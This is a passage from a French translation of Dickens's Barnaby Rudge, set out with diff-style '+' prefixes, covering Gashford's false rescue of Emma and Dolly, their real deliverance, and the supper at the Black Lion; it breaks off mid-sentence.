+force surnaturelle dans sa vertu, qu'elles regardèrent comme un
+bonheur d'avoir avec elles un pareil champion. Et ce ne fut pas la
+seule consolation qu'elles tirèrent d'abord de la présence de
+Miggs et de sa société: car cette jeune demoiselle déploya tant de
+résignation et de longanimité, tant de patience céleste dans ses
+peines; enfin tous ses chastes discours respiraient tant de pieuse
+confiance et de soumission, tant de dévote assurance de voir tout
+cela finir bien, qu'Emma se sentit encouragée par ce brillant
+exemple, sans mettre en doute la vérité de tout ce qu'elle disait,
+et bien persuadée que c'était, comme elles, une victime arrachée à
+tout ce qu'elle aimait, en proie à toutes les souffrances de
+l'inquiétude et de la crainte. Quant à la pauvre Dolly, elle fut
+un peu ranimée d'abord à la vue d'une personne qui lui rappelait
+la maison paternelle; mais en apprenant dans quelles circonstances
+elle l'avait quittée, et dans quelles mains était tombé son père,
+elle se remit à verser des larmes plus amères que jamais, et à
+refuser toute consolation.
+
+Mlle Miggs se donnait bien du mal à lui faire des remontrances sur
+ces dispositions d'esprit, à la supplier de prendre exemple sur
+elle:
+
+«Voyez-moi, disait-elle; voyez comme je recueille à présent, à de
+gros intérêts, dix fois le montant de mes souscriptions à la
+petite maison rouge, par la paix de l'âme et la tranquillité de
+conscience qu'elles me procurent.
+
+Et, pendant qu'elle en était sur ces sujets sérieux, elle crut de
+son devoir d'essayer la conversion de miss Haredale. Pour son
+édification, elle se lança dans une polémique assez confuse, dans
+le cours de laquelle elle se comparait à un missionnaire
+d'élection, et mademoiselle à un cannibale réprouvé. Enfin, elle
+revint si souvent là-dessus, elle les conjura tant de fois de
+prendre exemple sur elle, avec un suave mélange de vanterie et de
+modestie, en songeant à son mérite indigne et à l'énormité de ses
+péchés, qu'elle ne tarda pas à les ennuyer plutôt qu'à les
+consoler dans cet étroit réduit, et les rendit encore plus
+malheureuses, s'il était possible, qu'elles ne l'avaient été avant
+sa venue.
+
+Cependant la nuit était arrivée, et, pour la première fois, car
+leurs geôliers avaient toujours mis beaucoup d'exactitude à leur
+apporter le soir des lumières et leur nourriture, on les laissa
+dans l'obscurité. Tout changement d'habitudes, dans leur situation
+et dans un pareil lieu, leur inspirait naturellement de nouvelles
+craintes, et, au bout de quelques heures qu'on les eut laissées
+ainsi dans les ténèbres, Emma ne put réprimer plus longtemps ses
+inquiétudes.
+
+Elles prêtèrent une oreille attentive. C'étaient toujours les
+mêmes chuchotements dans la chambre voisine, avec un gémissement
+de temps en temps, poussé, à ce qu'il semblait, par une personne
+très souffrante, qui faisait, mais en vain, tout ce qu'elle
+pouvait pour étouffer ses plaintes. Ces hommes semblaient aussi
+dans l'obscurité de leur côté, car on ne voyait pas briller la
+moindre lueur à travers les fentes de la porte: ils ne remuaient
+pas comme à l'ordinaire, ils avaient l'air de se tenir cois; c'est
+tout au plus si l'on entendait par hasard rompre le silence par
+quelque chose comme le craquement d'un buffet qu'on ouvrait.
+
+Dans les commencements, Mlle Miggs s'étonnait grandement en elle-
+même de ce que ce pouvait être que cette personne malade; mais,
+après réflexion, elle en vint à penser que c'était sans doute un
+stratagème qui rentrait dans le plan en exécution, un artifice
+habile, destiné, selon elle, à un grand succès, pour apporter à
+miss Haredale quelque consolation: ce devait être un mécréant de
+papiste qui avait été blessé; et cette heureuse supposition
+l'encouragea à dire plusieurs fois à mi-voix: «Dieu soit _lié_!
+Dieu soit _lié_!»
+
+«Est-il possible, dit Emma avec quelque indignation, vous qui avez
+vu ces hommes commettre tous les outrages dont vous nous avez
+parlé, et qui avez fini par tomber entre leurs mains, que vous
+veniez louer Dieu de leurs cruautés!
+
+-- Les considérations personnelles, mademoiselle, répliqua Miggs,
+sont moins que rien devant une si noble cause. Dieu soit _lié_!
+Dieu soit _lié_! mes bons messieurs.»
+
+On aurait cru, à entendre la voix perçante de Mlle Miggs, répétant
+obstinément cet alléluia d'un nouveau genre, qu'elle le criait
+jusque par le trou de la serrure; mais il faisait trop noir pour
+qu'on pût la voir.
+
+«S'il doit venir un temps, et Dieu sait que cela peut être d'un
+moment à l'autre, où ils voudront mettre à exécution les projets,
+quels qu'ils soient, pour lesquels ils nous ont amenées ici,
+pouvez-vous encore les encourager comme vous faites, et avoir
+l'air de prendre leur parti? demanda Emma.
+
+-- Si je le puis? certainement oui, grâces en soient rendues à mes
+bonnes étoiles du bon Dieu, certainement je le puis et je le fais,
+reprit Miggs avec un redoublement d'énergie... Dieu soit _lié!_
+Dieu soit _lié_! mes bons messieurs.»
+
+Dolly elle-même, tout abattue, tout anéantie qu'elle était, se
+ranima à ce cri, et ordonna à Miggs de se taire sur-le-champ.
+
+«À qui faites vous l'honneur d'adresser cette observation, miss
+Varden?» dit Miggs, en appuyant avec une attention marquée sur le
+pronom interrogatif.
+
+Dolly lui répéta son ordre.
+
+«Oh! bonté divine, cria Miggs en se tenant les côtes à force de
+rire, bonté divine! Bien sûr que je vais me taire, ô mon Dieu oui!
+Ne suis-je pas une vile esclave qui n'est bonne qu'à travailler,
+peiner, se fatiguer, se faire gronder, vilipender, qui n'a
+seulement pas le temps de se débarbouiller, en un mot le vaisseau
+du potier, n'est-ce pas, mademoiselle? Ô mon Dieu, oui! ma
+position est humble, mes capacités bornées, et mon devoir est de
+m'humilier devant les filles dégénérées, dénaturées, de bonnes et
+dignes mères, de vraies saintes qui souffrent le martyre à voir
+toutes les persécutions qu'elles ont à souffrir de leur famille
+corrompue: mon devoir est peut-être aussi de courber l'échine
+devant elles, ni plus ni moins que les infidèles devant leurs
+idoles... n'est-ce pas, mademoiselle? Ô mon Dieu, oui! je ne suis
+bonne qu'à aider de jeunes coquettes païennes à se brosser, à se
+peigner, à se transformer en sépulcres blanchis, pour faire croire
+aux jeunes gens qu'il n'y a pas seulement là-dessous un morceau de
+ouate pour remplir les vides, ni cosmétiques, ni pommades, ni
+aucune invention de Satan et des vanités terrestres. N'est-ce pas,
+mademoiselle? Oh certainement! mon Dieu oui!»
+
+Après avoir débité cette tirade ironique avec une volubilité
+étonnante, et surtout avec une voix perçante qui étourdissait les
+oreilles, surtout quand elle lançait comme autant de fusées chaque
+interjection, Mlle Miggs, par pure habitude, et non pas parce que
+les larmes pouvaient être justifiées par la circonstance,
+puisqu'il s'agissait pour elle d'un vrai triomphe, termina en
+répandant un ruisseau de pleurs et en appelant, du ton le plus
+pathétique, le nom, le doux nom de Simmuns.
+
+Qu'est-ce que Emma Haredale et Dolly allaient faire, et où se
+serait arrêtée Mlle Miggs, une fois qu'elle avait arboré
+franchement son drapeau et qu'elle se disposait à le balancer
+victorieusement sous leurs yeux étonnés, c'est ce qu'il est
+impossible de savoir; mais, d'ailleurs, il serait inutile
+d'approfondir cette question, car il y eut sur le moment même un
+incident saisissant qui vint interrompre le cours de l'éloquence
+de Miggs et enlever d'assaut leur attention tout entière.
+
+C'était un violent coup de marteau frappé à la porte de la maison,
+qu'on entendit immédiatement s'ouvrir brusquement; puis tout de
+suite une bagarre dans l'autre chambre et un bruit d'armes.
+Transportée par l'espérance que l'heure de la délivrance était
+enfin arrivée, Emma et Dolly appelèrent à grands cris au secours,
+et leurs cris reçurent bientôt une réponse. Au bout d'un moment à
+peine d'intervalle, un homme, portant d'une main une épée nue et
+de l'autre au flambeau, se précipita dans la chambre qui leur
+servait de prison.
+
+Leurs premiers transports furent réprimés par la vue d'un
+étranger, car elles ne connaissaient pas l'homme qui se présentait
+alors à leurs yeux; cependant elles s'adressèrent à lui pour le
+supplier, dans les termes les plus pathétiques, de les rendre à
+leurs familles.
+
+«Et croyez-vous que je sois ici pour autre chose? répondit-il en
+fermant la porte, contre laquelle il appuya son dos, comme pour en
+défendre le passage. Pourquoi donc vous imaginez-vous que je me
+sois frayé un passage jusqu'à vous à travers tant de dangers et
+tant d'obstacles, si ce n'est pas pour vous sauver?»
+
+Avec une joie impossible à décrire, elles tombèrent dans les bras
+l'une de l'autre, en remerciant le ciel de ce secours inespéré.
+Leur libérateur s'avança de quelques pas pour mettre le flambeau
+sur la table; et retournant sur-le-champ prendre sa première
+position, il ôta son chapeau et les regarda d'un air souriant.
+
+«Vous avez des nouvelles de mon oncle, monsieur? dit Emma, se
+tournant vivement de ce côté.
+
+-- Et de mes père et mère? ajouta Dolly.
+
+-- Oui, dit-il, de bonnes nouvelles.
+
+-- Ils sont vivants et sains et saufs? crièrent-elles à la fois.
+
+-- Vivante et sains et saufs, répéta-t-il.
+
+-- Et tout près de nous?
+
+-- Je ne puis pas dire cela, répondit-il d'un air doucereux; ils
+sont, au contraire, bien loin. Les vôtres, ma mignonne, ajouta-t-
+il en s'adressant à Dolly, ne sont qu'à quelques heures d'ici:
+vous pourrez leur être rendue, j'espère, cette nuit.
+
+-- Mon oncle, monsieur?... balbutia Emma.
+
+-- Votre oncle, chère demoiselle Haredale, heureusement... je dis
+heureusement, parce qu'il s'est tiré mieux qu'un grand nombre de
+nos coreligionnaires de ce conflit... est en lieu de sûreté... Il
+a traversé la mer et s'est réfugié sur le continent.
+
+-- Dieu soit béni! dit Emma presque défaillante.
+
+-- Vous avez bien raison; il y a de quoi le bénir plus que vous ne
+pouvez l'imaginer peut-être, n'ayant pas eu la douleur de voir une
+seule de ces nuits de cruels outrages.
+
+-- Désire-t-il, dit Emma, que j'aille le rejoindre?
+
+-- Comment pouvez-vous le demander? cria l'étranger d'un air de
+surprise. S'il le désire! Mais vous ne savez donc pas le danger
+qu'il y aurait pour vous à rester en Angleterre, la difficulté
+d'échapper, tous les sacrifices que feraient volontiers des
+milliers de personnes pour en acheter les moyens! sans cela vous
+ne me feriez pas pareille question. Mais pardon! j'oubliais que
+vous ne pouviez pas vous douter de tout cela, étant restée ici
+prisonnière.
+
+-- Je m'aperçois, monsieur, dit Emma après un moment de silence,
+par tout ce que vous venez de me faire entendre sans oser me le
+dire, que je n'ai vu que la première et la moins violente des
+scènes de désordre dont nous pouvions être menacés, et que leur
+furie ne s'est pas encore ralentie.»
+
+Il haussa les épaules, secoua la tête, leva les mains au ciel, et
+toujours avec le même sourire doucereux, qui n'était pas agréable
+à voir, abaissa ses yeux à terre et resta silencieux.
+
+«Vous pouvez hardiment, monsieur, reprit Emma, me dire toute la
+vérité: les maux par lesquels nous venons de passer nous ont
+préparées à tout entendre.»
+
+Mais ici Dolly s'entremit, pour la prier de ne pas insister pour
+savoir tout, le mal comme le bien, et supplia le gentleman de ne
+dire que le bien, et de garder le reste pour le moment où elles
+seraient réunies avec leurs parents et leurs amis.
+
+«Cela peut se dire en deux mots, répondit-il en lançant à la fille
+du serrurier un regard de dépit. Le peuple s'est levé comme un
+homme contre nous. Les rues sont remplies de soldats qui
+soutiennent l'insurrection et font cause commune avec elle. Nous
+n'avons aucun secours à attendre d'eux, et point d'autre salut que
+la fuite. Encore est-ce une pauvre ressource, car on nous épie de
+tous côtés, et on veut nous retenir ici par la force ou par la
+fraude. Miss Haredale, il m'est pénible, croyez-le bien, de vous
+parler de moi, ou de ce que j'ai fait ou de ce que je suis disposé
+à faire; j'aurais trop l'air de vous vanter mes services. Mais
+comme j'ai des connaissances puissantes parmi les protestants, et
+que toute ma fortune est embarquée dans leur navigation et leur
+commerce, j'ai eu le bonheur de trouver là le moyen de sauver
+votre oncle. Je puis vous sauver de même, et c'est pour acquitter
+la promesse sacrée que je lui ai faite de ne pas vous quitter
+avant de vous avoir remise dans ses bras, que vous me voyez ici.
+La trahison ou le repentir d'un des hommes qui vous entourent m'a
+fait découvrir votre retraite, et vous voyez comment je m'y suis
+frayé un chemin l'épée à la main.
+
+-- Vous m'apportez sans doute, dit Emma défaillante, quelque
+lettre ou quelque gage de la part de mon oncle?
+
+-- Non, il n'en a pas, cria Dolly en lui montrant l'étranger avec
+vivacité. Je suis sûre à présent qu'il n'en a pas. Pour tout au
+monde n'allez pas avec lui.
+
+-- Taisez-vous, petite sotte, taisez-vous, répliqua-t-il en
+fronçant le sourcil avec colère; non, mademoiselle Haredale, je
+n'ai ni lettre ni gage d'aucune espèce car, en vous montrant de la
+sympathie, à vous et à ceux d'entre vous qui vous trouvez victimes
+d'un malheur si accablant et si peu mérité, je ne me dissimule pas
+que j'expose ma vie; et je n'avais pas envie, par conséquent,
+d'apporter sur moi une lettre qui m'aurait valu une mort certaine.
+Je n'ai pas songé un moment à demander, ni M. Haredale à me
+proposer le moindre gage de la fidélité de mon message... peut-
+être aussi n'en a-t-il pas eu l'idée, se fiant à la parole, à la
+sincérité d'un homme à qui il devait la vie.»
+
+Il y avait dans cette réponse un reproche qui ne pouvait manquer
+son effet sur un caractère confiant et généreux pomme celui de
+miss Haredale; mais Dolly, qui n'était pas si candide, n'en fut
+pas touchée le moins du monde, et continua de la conjurer, dans
+les termes de l'affection et de rattachement les plus tendres, de
+ne pas s'y laisser prendre.
+
+«Le temps presse, dit leur visiteur, qui, malgré ses efforts pour
+leur témoigner le plus vif intérêt, avait jusque dans son langage
+une certaine froideur qui glaçait l'oreille, et le danger nous
+menace. Si je m'y suis exposé pour vous en vain, à la bonne heure;
+seulement promettez-moi, si nous nous retrouvons jamais, de me
+rendre témoignage. Si vous êtes décidée à rester, comme je le
+suppose, rappelez-vous, mademoiselle Haredale, que je n'ai pas
+voulu vous quitter sans vous donner un avertissement solennel,
+sans me laver les mains de toutes les conséquences dont vous
+voulez courir les risques.
+
+-- Arrêtez, monsieur, cria Emma... encore un moment, je vous prie.
+Ne pouvez-vous pas, et elle tenait Dolly serrée plus près encore
+de son coeur, ne pouvez-vous pas nous emmener ensemble?
+
+-- C'est déjà une tâche assez difficile, répondit-il, d'emmener
+une femme en toute sûreté, au milieu des scènes que nous allons
+rencontrer, sans compter que nous devons éviter d'attirer
+l'attention de la foule rassemblée dans les rues. Je vous ai dit
+qu'elle sera rendue cette nuit à ses parents. Si vous acceptez mon
+offre de services, mademoiselle Haredale, je vais la faire à
+l'instant placer sous bonne garde pour acquitter ma promesse.
+Êtes-vous décidée à rester? Il y a, en ce moment, des gens de tout
+rang et de toute religion qui cherchent à se sauver de la ville,
+saccagée d'un bout à l'autre. Permettez-moi d'aller voir si je ne
+puis pas me rendre utile à quelques autres. Partez-vous ou restez-
+vous?
+
+-- Dolly, dit Emma d'un ton précipité, ma chère enfant, nous
+n'avons plus que cette seule espérance. Si nous nous séparons à
+présent, c'est seulement pour nous retrouver plus tard heureuses
+et honorées. Je me confie à ce gentleman.
+
+-- Non... non... non, criait Dolly, qui ne voulait pas la lâcher;
+je vous en prie, je vous en supplie, n'en faites rien.
+
+-- Vous l'entendez, dit Emma; cette nuit... cette nuit même...
+dans quelques heures... songez-y... vous allez être au milieu de
+ceux qui mourraient de chagrin loin de vous, et que votre absence
+plonge en ce moment dans le plus profond désespoir. Vous prierez
+pour moi, chère enfant comme je prierai de mon côté pour vous;
+n'oubliez jamais les heures de douce paix que nous avons passées
+ensemble. Dites-moi: «Que Dieu vous bénisse!» et séparons-nous
+avec ce souhait.»
+
+Mais Dolly ne voulut rien dire: non, malgré tous les baisers
+qu'Emma déposait sur sa joue, qu'elle couvrait en même temps de
+ses larmes, tout ce que Dolly pouvait faire, c'était de se pendre
+à son col, de sangloter, de l'étreindre sans vouloir la lâcher.
+
+«Voyons! nous n'avons plus de temps pour tout cela, cria l'homme
+en lui desserrant les mains et la repoussant rudement, en même
+temps qu'il attirait Emma Haredale du côté de la porte. À présent,
+dehors, vite. Sommes-nous prêts?
+
+-- Oui-da, cria une voix retentissante qui le fit tressaillir,
+tout prêts. Arrière, ou vous êtes mort.»
+
+Et au même instant il fut jeté par terre comme un boeuf dans
+l'abattoir; il fut terrassé du coup, comme si un bloc de marbre
+venait de se détacher du toit pour l'écraser sur la place; puis on
+vit entrer à la fois une lumière éclatante et des visages
+rayonnants... et Emma se sentit étreindre dans les embrassements
+de son oncle, et Dolly avec un cri qui perça l'air, tomba dans les
+bras de son père et de sa mère.
+
+Comme on se pâmait, comme on riait aux éclats, comme on pleurait,
+comme on sanglotait, comme on se souriait comme on s'adressait une
+foule de questions dont on n'attendait pas la réponse, parlant
+tous ensemble, sans savoir ce qu'on disait dans ces transports de
+joie! Et puis après, comme on s'embrassait, comme on se
+félicitait, comme on se serrait dans les bras les uns des autres,
+comme on s'abandonnait à tous les ravissements du bonheur, encore
+et encore et toujours! Il n'y a pas moyen de dépeindre cette
+scène-là.
+
+Enfin, après bien longtemps, le vieux serrurier, par souvenir,
+alla accoler bel et bien deux étrangers qui s'étaient tenus à part
+tout seuls devant ce tableau; et alors qu'est-ce qu'on vit là?...
+qui ça? C'étaient ma foi bien Edward Chester et Joseph Willet.
+
+«Regardez! cria le serrurier. Regardez par ici. Où serions-nous
+tous sans ces deux-là? Eh! monsieur Édouard, monsieur
+Édouard...Oh! Joe, Joe, comme vous avez soulagé mon coeur ce soir!
+et pourtant il est encore bien plein.
+
+-- C'est M. Édouard qui l'a flanqué par terre, dit Joe. J'en avais
+grande envie pour mon compte, mais je lui en fais le sacrifice...
+Allons, mon brave et honnête gentleman, reprenez vos sens, car
+vous n'avez pas longtemps à vous dorloter comme ça par terre.»
+
+En même temps il avait le pied sur la poitrine du faux libérateur,
+et le roulait tout doucement. Gashford, car c'était bien lui, et
+pas un autre, bas et rampant, mais aussi méchant que jamais,
+souleva sa face malfaisante, comme dans le tableau du péché
+terrassé par l'ange, et demanda qu'on le traitât doucement.
+
+«Je sais où trouver tous les papiers de milord, monsieur Haredale,
+dit-il d'une voix soumise, pendant que M. Haredale lui tournait le
+dos, sans le regarder seulement une fois; et il y a dans le
+nombre, des documents très importants. Il y en a beaucoup dans des
+tiroirs secrets, et dans d'autres endroits, qui ne sont connus que
+de milord et de moi. Je puis fournir à l'accusation des
+renseignements précieux et rendre de grands services à l'enquête.
+Vous aurez à répondre de cela, si vous me faites subir de mauvais
+traitements.
+
+-- Pouah! cria Joe avec un profond dégoût. Levez-vous, eh! l'homme
+de bien On vous attend dehors, voyons! debout! m'entendez-vous?»
+
+Gashford se releva lentement, ramassa son chapeau, et regardant
+tout autour de la chambre d'un air de malveillance déconfite, mais
+en même temps d'humilité méprisable, se glissa dehors furtivement.
+
+«Et à présent, messieurs, dit Joe, qui paraissait être l'orateur
+de la troupe, car tous les autres gardaient le silence, plus tôt
+nous serons revenus au _Lion Noir_, mieux cela vaudra, je crois.»
+
+M. Haredale fit un signe d'assentiment, et passant sous son bras
+le bras de sa nièce, en prenant une de ses mains qu'il pressa dans
+les siennes, il sortit tout droit, suivi du serrurier, de
+Mme Varden et de Dolly, qui, vraiment, quand elle aurait été, à
+elle toute seule, une douzaine de Dolly, n'aurait pas présenté
+assez de surface pour contenir tous les encrassements et les
+caresses dont elle était comblée par ses parents. Édouard Chester
+et Joe fermaient la marche.
+
+Et vous me demanderez peut-être si c'est que Dolly ne retourna pas
+une fois la tête pour regarder derrière elle... pas même une
+pauvre fois? s'il n'y eut pas comme un petit clignotement égaré de
+ses cils d'ébène, presque à fleur de sa joue rougissante, comme un
+petit éclair de l'oeil étincelant, quoique abattu, qu'ils
+voilaient à demi? Dame! Joe le crut, et il est bien probable qu'il
+ne s'était pas trompé, car il n'y avait pas beaucoup d'yeux comme
+ceux de Dolly: c'est une justice à leur rendre.
+
+La chambre voisine, qu'il leur fallait traverser, était pleine de
+gens, parmi lesquels M. Dennis, qui était sous bonne garde, et
+près de là, depuis la veille, dans une cachette dont on avait tiré
+la coulisse, Simon Tappertit, l'amusant apprenti, couvert de
+brûlures et de contusions, avec un coup de feu dans le côté, et
+des jambes... ces jolies jambes que vous savez, l'orgueil et la
+gloire de son existence... d'une laideur difforme, grâce aux
+meurtrissures dont elles avaient été victimes. Comprenant à
+présent les gémissements qui l'avaient tant étonnée, Dolly se
+serra contre son père, toute frissonnante à cette vue. Mais les
+contusions, les brûlures, les meurtrissures, le coup de feu, toute
+la torture enfin qu'il subissait dans chacun de ses membres
+détraqués, ne causèrent pas au coeur de Simmuns la moitié de la
+douleur qu'il éprouva en voyant passer Dolly pour sortir avec Joe
+son libérateur.
+
+Il y avait une voiture toute prête à la porte pour le voyage, et
+Dolly fut tout heureuse de s'y trouver en liberté dans
+l'intérieur, accompagnée de son père, de sa mère, d'Emma Haredale
+et de son oncle, en personnes naturelles, assis vis-à-vis d'elle.
+Mais point de Joe, ni d'Édouard, qui n'avaient rien dit. Ils
+s'étaient contentés de leur faire un salut, et s'étaient tenus à
+distance. Le voyage allait lui paraître bien long pour arriver au
+_Lion Noir_!
+
+
+
+
+CHAPITRE XXX.
+
+
+En effet, le _Lion Noir_ était si loin, et il fallait tant de
+temps pour y arriver, que, malgré les fortes présomptions que
+Dolly trouvait en elle-même de la réalité des derniers événements,
+dont les effets étaient bien visibles, elle ne pouvait pas se
+débarrasser de l'idée que ce ne pouvait être qu'un rêve qui durait
+toute la nuit. Elle se défiait de ses yeux et de ses oreilles,
+même quand elle vit, à la fin des fins, la voiture s'arrêter au
+_Lion Noir_, l'hôte de cette taverne approcher à la lueur
+éclatante d'une prodigalité de flambeaux, pour les aider à
+descendre, et leur souhaiter une cordiale bienvenue.
+
+Ce n'est pas le tout: à la portière de la voiture, l'un d'un côté,
+l'autre de l'autre, étaient déjà Édouard Chester et Joe Willet: il
+fallait qu'ils fussent venus par derrière dans une autre voiture,
+procédé si étrange, si bizarre, si inexplicable, que Dolly n'en
+était que plus disposée à se bercer de l'idée qu'elle dormait de
+plus en plus profondément. Mais quand M. Willet apparut aussi...
+le vieux John lui-même... avec sa grosse caboche têtue et son
+double menton si copieux que l'imagination la plus téméraire, dans
+ses conceptions les plus extravagantes, n'aurait jamais rêvé un
+menton avec de si vastes proportions... alors elle reconnut son
+erreur, et fut bien obligé de s'avouer qu'elle était, ma foi! bien
+éveillée.
+
+Et Joe, qui n'avait plus qu'un bras!... Joe, ce joli garçon si
+bien tourné, si bel homme! Quand Dolly jeta un regard de son côté,
+et qu'elle pensa au mal qu'il avait dû souffrir, aux pays
+lointains où il était allé se perdre, et qu'elle se demanda qui
+est-ce qui avait été sa garde-malade, souhaitant dans son coeur
+que cette femme, quelle qu'elle fût, l'eût soigné avec autant de
+bonté et de ménagement qu'elle l'eût fait elle-même, les larmes
+montèrent à ses beaux yeux, une par une, petit à petit, si bien
+qu'elle ne put plus les retenir, et se mit à pleurer devant tout
+le monde, comme une Madeleine.
+
+«Nous voilà tous maintenant, Dolly, lui dit son père avec douceur;
+nous ne serons plus séparés; courage, ma chérie, courage!»
+
+La femme du serrurier devinait peut-être mieux que lui la cause du
+chagrin de sa fille. Mais Mme Varden n'était plus du tout la même
+femme; c'était toujours cela qu'on devait à l'émeute: elle joignit
+donc aussi ses consolations à celles de son mari, et adressa à sa
+fille des représentations amicales du même genre.
+
+«Peut-être bien, dit M. Willet senior, en regardant la compagnie à
+la ronde, peut-être bien qu'elle a faim. Ça doit être ça, soyez-en
+sûrs... c'est comme moi.»
+
+Le Lion noir qui, à l'exemple du vieux John, avait prolongé
+l'attente du souper: au delà de tout délai raisonnable et
+tolérable, applaudit à cet amendement comme à la découverte
+philosophique la plus profonde et la plus fine à la fois; et,
+comme la table était toute servie, on se mit au souper à l'instant
+même.
+
+La conversation ne fut pas des plus animées, et il y avait bien
+quelques convives qui n'avaient pas un gros appétit. Mais le vieux
+John ne laissa languir ni l'un ni l'autre, et, si quelqu'un eut ce
+double tort, il fut bien réparé par le vieux John, qui ne s'était
+jamais tant distingué.
+
+Ce n'est pas que M. Willet soutint une conversation bien suivie;
+ce n'est pas par là qu'il brilla au souper; il n'avait pas là un
+seul de seul de ses vieux camarades d'enfance à «asticoter» et il
+n'osait trop s'y risquer avec Joe: il avait à son égard quelque
+vague pressentiment que ce gaillard-là, au premier mot qui ne lui
+plairait pas, flanquerait par terre le Lion noir et s'en irait
+tout droit en Chine, ou dans quelque autre région lointaine
+également inconnue, pour le restant de ses jours, ou au moins
+jusqu'à ce qu'il se fût débarrassé du bras qui lui restait et de
+ses deux jambes, peut-être même d'un oeil ou de quelque chose
+comme ça par-dessus le marché. Le beau de la conversation de
+M. Willet, c'était une espèce de pantomime dont il animait chaque
+intervalle de silence, et qui faisait dire au Lion noir, son ami
+intime depuis longues années, qu'il ne l'avait jamais vu comme ça,
+et qu'il dépassait l'attente et l'admiration de ses amis les plus
+émerveillés de son esprit.
+
+Le sujet qui occupait toutes les méditations de M. Willet et qui
+occasionnait ces démonstrations mimiques, n'était autre que le
+changement corporel qu'avait subi son fils; il n'avait jamais pu
+prendre sur lui d'y croire et de s'en rendre raison. Peu de temps
+après leur première entrevue, on s'était aperçu qu'il s'en était
+allé, d'un air égaré, dans un état de grande perplexité, tout
+droit à la cuisine, dirigeant son regard sur le feu de l'âtre,
+comme pour consulter son conseiller ordinaire en matières de doute
+et dans les cas embarrassants. Seulement, comme il n'y avait pas
+de chaudron au Lion noir, et que le sien avait été si bien arrangé
+par les insurgés, qu'il était tout à fait hors de service, il
+sortit encore d'un air égaré, dans un effroyable gâchis de
+confusion morale, et dans son incertitude il avait recours aux
+moyens les plus étranges pour dissiper ses doutes: par exemple,
+d'aller tâter la manche de Joe, comme s'il croyait que le bras de
+son fils était peut-être caché dedans, ou de regarder ses propres
+bras et ceux de tous les autres assistants, comme pour s'assurer
+que c'était bien deux, et non pas un, qui étaient le lot ordinaire
+de chacun, ou de rester assis une heure de suite dans une
+méditation profonde, comme s'il essayait de se remettre en mémoire
+l'image de Joe quand il était plus jeune, et de se rappeler si
+c'était réellement un bras qu'il avait dans ce temps-là, ou s'il
+avait bien la paire; enfin de se donner une foule d'occupations et
+d'imaginer une foule de vérifications du même genre.
+
+Se voyant donc, au souper, entouré de visages qu'il avait si bien
+connus dans son vieux temps, M. Willet reprit son sujet avec une
+nouvelle vigueur: on voyait qu'il était décidé à savoir le fin mot
+aujourd'hui ou jamais. Tantôt, après avoir mangé deux ou trois
+bouchées, il déposait sa fourchette et son couteau, pour regarder
+fixement son fils de toute sa force, surtout du côté mutilé. Puis
+il promenait ses yeux tout autour de la table, jusqu'à ce qu'il
+eût rencontré ceux de quelque convive, et alors il remuait la tête
+avec une grande solennité, se donnait une petite tape sur
+l'épaule, clignait de l'oeil, pour ainsi dire, car un clin d'oeil
+n'était pas chez lui synonyme d'un mouvement rapide: il y mettait
+le temps; il serait plus exact de dire qu'il se mettait à dormir
+d'un oeil pendant une minute ou deux. Puis il donnait encore à sa
+tête une secousse solennelle, reprenait son couteau et sa
+fourchette, et se remettait à manger. Tantôt il portait à sa
+bouche un morceau d'un air distrait, et, concentrant sur Joe
+toutes ses facultés, le regardait, dans un transport de
+stupéfaction, couper sa viande d'une seule main, jusqu'à ce qu'il
+fut rappelé à lui par des symptômes d'étouffement qui finissaient
+par lui rendre sa connaissance. D'autres fois, il imaginait une
+foule de petits détours, comme de lui demander le sel, ou le
+poivre, ou le vinaigre, ou la moutarde, tout ce qu'il voyait du
+côté mutilé, et observait comment son fils faisait pour lui passer
+ce qu'il lui avait demandé. À force de répéter ces expériences, il
+finit par se donner pleine satisfaction et se convaincre si bien,
+qu'après un intervalle de silence plus long que tous les
+précédents, il remit sa fourchette et son couteau aux deux côtés
+de son assiette, but une bonne gorgée au pot d'étain qu'il avait
+près de lui (toujours sans perdre Joe de vue), et se renversant
+sur le dos de sa chaise avec un gros soupir, dit en regardant les
+convives à la ronde:
+
+«C'est coupé.
+
+-- Par saint Georges! dit de son côté le Lion noir en frappant sa
+main contre la table, il a trouvé ça.
+
+-- Oui, monsieur, reprit M. Willet, de l'air d'un bomme qui
+sentait qu'il avait bien gagné le compliment qu'on faisait de sa
+sagacité, et qu'il le méritait. On dira ce qu'on voudra; c'est
+coupé.
+
+-- Racontez-lui donc où ça vous est arrivé, dit le Lion noir à
+Joe.
+
+-- À la défense de la Savannah, mon père.
+
+-- À la défense de la Savaigne, répéta M. Willet tout bas, en
+jetant encore un regard autour de la table.
+
+-- En Amérique, dans le pays qui est en guerre, dit Joe.
+
+-- En Amérique, dans le pays qui est en guerre, répéta M. Willet.
+On l'a coupé à la défense de la Savaigne en Amérique, dans le pays
+qui est en guerre.» Après avoir continué de se répéter en lui-même
+ces paroles à voix basse (notez que c'était bien la cinquantième
+fois qu'on lui avait déjà donné auparavant ce renseignement dans
+les mêmes termes), M. Willet se leva de table, tourna autour de
+Joe, lui tâta sa manche tout du long, depuis le poignet jusqu'au
+moignon, lui donna une poignée de main, alluma sa pipe, en tira
+une bonne bouffée, se dirigea vers la porte, se retourna quand il
+y fut, se frotta l'oeil gauche avec le dos de son index, et dit
+d'une voix défaillante: «Mon fils a eu le bras... coupé... à la
+défense de la... Savaigne... en Amérique... dans le pays qui est
+en guerre.» Là-dessus, il se retira pour ne plus revenir de toute
+la nuit.
+
+Au reste, sous un prétexte ou sous un autre, chacun en fit autant
+à son tour, excepté Dolly qu'on laissa là toute seule, assise sur
+sa chaise. Elle était bien soulagée de se trouver seule, pour
+pleurer tout son content, quand elle entendit au bout du corridor
+la voix de Joe qui souhaitait bonne nuit à quelqu'un. Elle
+l'entendit encore marcher dans le corridor et passer devant la
+porte; seulement sa marche trahissait quelque hésitation. Il
+revint sur ses pas... comme le coeur de Dolly se mit à battre!...
+et regarda dans la chambre.
+
+«Bonne nuit!...» Il n'ajouta pas: «Dolly;» mais c'est égal, elle
+était bien aise qu'il n'eût pas dit non plus: «Mademoiselle
+Varden.
+
+-- Bonne nuit! sanglota Dolly.
+
+-- Je suis bien fâché de vous voir encore si affectée de choses
+qui sont maintenant passées pour toujours, dit Joe avec bonté. Ne
+pleurez donc pas. Je n'ai pas le courage de vous voir si triste.
+Voyons! n'y pensez plus. Vous voilà maintenant sauvée et
+heureuse.»
+
+Dolly n'en pleurait que de plus belle.
+
+«Vous avez dû bien souffrir pendant ce peu de jours... et pourtant
+je ne vous trouve point du tout changée, si ce n'est peut-être en
+bien. On m'avait dit que vous étiez changée; mais moi, je ne vois
